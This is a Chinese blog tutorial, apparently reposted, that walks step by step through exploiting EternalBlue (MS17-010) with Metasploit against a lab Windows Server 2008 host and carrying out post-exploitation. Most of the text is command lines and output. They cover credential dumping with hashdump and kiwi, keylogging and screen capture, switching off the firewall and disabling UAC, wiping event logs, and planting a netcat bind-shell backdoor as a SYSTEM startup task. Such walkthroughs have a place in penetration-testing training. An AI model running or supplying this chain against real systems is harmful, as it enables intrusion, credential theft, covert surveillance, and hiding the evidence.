devbox
我家小花儿
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

MSF永恒之蓝漏洞利用详解[漏洞验证利用及后渗透]【详细版】_永恒之蓝利用

作者：我家小花儿 | 2024-07-18 23:09:32

赞

踩

永恒之蓝利用

漏洞原因

永恒之蓝利用了SMBv1的一个缺陷。SMB（Server Message Block）是一种在Windows环境中广泛使用的网络文件共享协议。这个漏洞允许未经授权的攻击者通过网络发送特制的数据包到目标系统，从而远程执行恶意代码

openvas漏洞扫描结果

 使用msf进行漏洞验证 

进入msf控制台 

  1. 进入msf控制台（不显示提示内容）
  2. msfconsole -q

 查找漏洞脚本

  1. 搜索ms17-010漏洞脚本
  2. msf6 > search ms17-010
  3. Matching Modules
  4. ================
  5.  
  6.    #  Name                                      Disclosure Date  Rank     Check  Description
  7.    -  ----                                      ---------------  ----     -----  -----------
  8.    0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
  9.    1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
  10.    2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
  11.    3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
  12.    4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
  13.  
  14. 选择辅助模块下的scanner扫描模块下的smb服务下的smb_ms17_010漏洞利用脚本

 进行漏洞验证

  1. msf6 > use 3
  2. msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.10.129
  3. rhost => 192.168.10.129
  4. msf6 auxiliary(scanner/smb/smb_ms17_010) > run
  5. [+]192.168.10.129:445    - Host is likely VULNERABLE[脆弱的] to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
  6. [*]192.168.10.129:445    - Scanned 1 of 1 hosts (100% complete)
  7. [*]Auxiliary module execution completed

漏洞利用

  1. 使用漏洞利用模块下的windows模块下的smb服务下的ms17-010_eternalblue永恒之蓝漏洞脚本
  2.  
  3. msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.10.129
  4. rhost => 192.168.10.129
  5. msf6 exploit(windows/smb/ms17_010_eternalblue) > run
  6.  
  7. [*] Meterpreter session 1 opened (192.168.10.224:4444 -> 192.168.10.129:49162) at 2024-04-05 07:34:17 +0800
  8. [+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  9. [+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  10. [+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  11.  
  12. meterpreter[载荷] > 
  13.  
  14. 成功入侵目标并开启会话
  15. 192.168.10.224:4444 -> 192.168.10.129:49162

后渗透

获取目标主机用户凭证

  1. 获取目标密文密码
  2. meterpreter > hashdump
  3. Administrator:500:aad3b435b51404eeaad3b435b51404ee:531b3ca954d0e442e64a5815b6794c32:::
  4. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  5.  
  6. kiwi模块获取明文密码
  7. 1.加载kiwi模块
  8. meterpreter > load kiwi
  9. 2.获取所有系统凭证包含明文密码
  10. meterpreter > creds_all

 对目标主机屏幕截图及监控

  1. 截取目标屏幕
  2. meterpreter > screenshot
  3. Screenshot saved to: /root/wZgTwEDm.jpeg
  4. 监控屏幕
  5. meterpreter > screenshare

将当前进程进行迁移

  1. meterpreter > ps -S explorer.exe [查看指定进程]
  2. Filtering on 'explorer.exe'[系统管理员用户进程]：持久性较好
  3.  
  4. Process List
  5. ============
  6.  
  7.  PID   PPID  Name        Arch  Session  User              Path
  8.  ---   ----  ----        ----  -------  ----              ----
  9.  3060  2928  explorer.e  x64   1        WIN-5MQI51VLCDC\  C:\Windows\Explor
  10.              xe                         Administrator     er.EXE
  11. meterpreter > migrate 3060 [迁移到指定进程]
  12. [*] Migrating from 1116 to 3060...
  13. [*] Migration completed successfully.
  14. meterpreter > getuid    [确认迁移结果]
  15. Server username: WIN-5MQI51VLCDC\Administrator

 对目标主机进行键盘记录

  1. 执行后渗透模块下的windows模块下的捕获模块下的键盘记录器脚本
  2. meterpreter > run post/windows/capture/keylog_recorder 
  3.  
  4. [*] Executing module against WIN-5MQI51VLCDC
  5. [*] Starting the keylog recorder...
  6. [*] Keystrokes being saved in to /root/.msf4/loot/20240405075518_default_192.168.10.129_host.windows.key_148128.txt
  7. [记录文件路径]
  8. [*] Recording keystrokes...

更改目标主机防火墙配置指定开启TCP444端口 

  1. meterpreter > shell [通过Meterpreter获得了shell访问权限]
  2. Process 784 created.
  3. Channel 1 created.
  4. Microsoft Windows [�汾 6.1.7601]
  5. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
  6.  
  7. C:\Windows\system32>chcp 65001 [更改字符集编码：解决乱码]
  8. chcp 65001
  9. Active code page: 65001
  10.  
  11. C:\Windows\system32> netsh advfirewall set allprofiles state off
  12. 通过netsh工具将Windows防火墙的所有配置文件（公共、私有、域）都设置为关闭状态
  13. C:\Windows\system32> netsh advfirewall set allprofiles state on
  14. 打开防火墙
  15. C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all
  16. 开启TCP协议的444端口，允许所有网络配置文件通过该端口进行通信，规则名称为backdoor

 禁用目标主机用户账户控制(UAC)组件

UAC的工作原理

UAC通过限制应用程序访问用户电脑上的重要部分来工作。当一个程序尝试执行可能会对系统安全性或配置产生影响的操作时，UAC会介入，阻止这一操作直至用户给予明确的授权。这意味着即使用户以管理员账户登录，应用程序和任务也会以限制的权限集运行，除非用户明确授权提升权限

  1. 禁用用户账户控制（UAC）
  2. C:\Windows\system32>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  3. reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  4. The operation completed successfully.
  5.  
  6.  
  7. 命令解析
  8. reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  9.  
  10. reg ADD: 这是Windows注册表编辑器命令行工具reg.exe的一个操作，用于添加一个新的注册表键值或更新现有的键值。
  11.  
  12. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 指定了注册表项的路径。这里，HKLM（HKEY_LOCAL_MACHINE）是顶级注册表项之一，包含了系统的配置信息。路径指向Windows系统的策略设置部分。
  13.  
  14. /v EnableLUA: /v参数后面跟随的是要操作的注册表值的名称，在这个例子中是EnableLUA。EnableLUA是控制用户账户控制（UAC）是否启用的注册表值。
  15.  
  16. /t REG_DWORD: /t参数指定了注册表值的类型，在这里是REG_DWORD，表示数据类型为32位数字。
  17.  
  18. /d 0: /d参数后面跟随的是要设置的数据值。0表示禁用UAC。
  19.  
  20. /f: 强制执行命令而不提示用户确认。
  21.  
  1. 退出windows命令行终端并清除日志
  2. C:\Windows\system32>exit
  3. exit
  4. meterpreter > clearev
  5. [*] Wiping 505 records from Application...应用程序（Application）事件日志
  6. [*] Wiping 2026 records from System...系统（System）事件日志
  7. [*] Wiping 1190 records from Security...安全（Security）事件日志

设置持久型后门

简介

防止目标主机修补了漏洞后，无法通过系统漏洞侵入目标主机。植入后门并设置开机自启，攻击者可以通过后门444口远程控制目标主机

nc称为netcat，是一个非常强大的网络工具被称为“网络界的瑞士军刀”。主要用于读取和写入网络连接，支持TCP和UDP协议。nc的功能包括端口扫描、文件传输、网络服务测试、以及作为客户端或服务器在任意端口上监听。

上传后门程序到目标主机指定路径

  1. meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
  2. [*] uploading  : /usr/share/windows-binaries/nc.exe -> c:\windows\system32
  3. [*] uploaded   : /usr/share/windows-binaries/nc.exe -> c:\windows\system32\nc.exe
  4. meterpreter > ls nc.exe
  5. 100777/rwxrwxrwx  59392  fil  2024-04-05 09:55:23 +0800  nc.exe
  6.  
  7. 命令分解
  8. upload：这是Meterpreter的一个命令，用于将文件从攻击者的系统上传到被控制系统的指定路径
  9.  
  10. /usr/share/windows-binaries/nc.exe：这是攻击者系统上的文件路径，指向nc.exe（即Netcat的Windows版本）。Netcat是一个功能强大的网络工具，可以用于监听端口、连接到服务、传输数据等
  11.  
  12. c:\\windows\\system32：这是目标Windows系统上的路径，其中包含重要的系统文件和程序。将文件上传到这个目录，可以使得上传的文件（在这个例子中是nc.exe）更容易被执行，因为system32目录通常包含在系统的PATH环境变量中。
  13.  
  14. ls nc.exe：查看文件具体情况

 设置计划任务目标系统开启时运行后门程序

  1. meterpreter > shell
  2. Process 2804 created.
  3. Channel 4 created.
  4. Microsoft Windows [�汾 6.1.7601]
  5. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
  6.  
  7. C:\Windows\system32>chcp 65001 //解决乱码
  8. chcp 65001
  9. Active code page: 65001
  10.  
  11. C:\Windows\system32>schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
  12.  schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
  13. SUCCESS: The scheduled task "nc" has successfully been created.
  14.  
  15. 命令解析
  16. schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
  17.  
  18. schtasks：Windows中用来创建、删除、查询或修改系统计划任务的命令行工具。
  19.  
  20. /create：schtasks命令创建一个新的计划任务。
  21.  
  22. /tn "nc"：/tn参数后面指定的是任务的名称。
  23.  
  24. /ru system：这个参数指定任务将以何种用户身份运行。在这个例子中，/ru system意味着任务将以系统账户的权限运行，系统账户具有广泛的权限并且可以访问系统上的大多数资源。
  25.  
  26. /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"：/tr参数后面跟随的是任务实际执行的命令或程序。这里指定的是执行nc.exe（Netcat），使用-Ldp 444选项在本地监听444端口，并且当连接建立时使用-e cmd.exe选项来执行命令提示符。
  27.  
  28. /sc onstart：参数定义了任务的调度周期。onstart表示任务会在每次系统启动时运行。
  29.

 重启靶机进行后门接入

  1. ──(root㉿kali)-[~]
  2. └─# nc 192.168.10.129 444 //连接目标主机444端口
  3. Microsoft Windows [�汾 6.1.7601]
  4. ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
  5.  
  6. C:\Windows\system32>
  7.  
  8. C:\Windows\system32>netstat -an \\当前机器上的网络连接和监听端口的清单
  9. netstat -an
  10.  
  11. �����
  12.  
  13.   Э��  ���ص�          �ⲿ��        ״
  14.   TCP    0.0.0.0:21             0.0.0.0:0              LISTENING
  15.   TCP    0.0.0.0:23             0.0.0.0:0              LISTENING
  16.   TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
  17.   TCP    192.168.10.129:444     192.168.10.224:37516   ESTABLISHED

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/我家小花儿/article/detail/848216
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号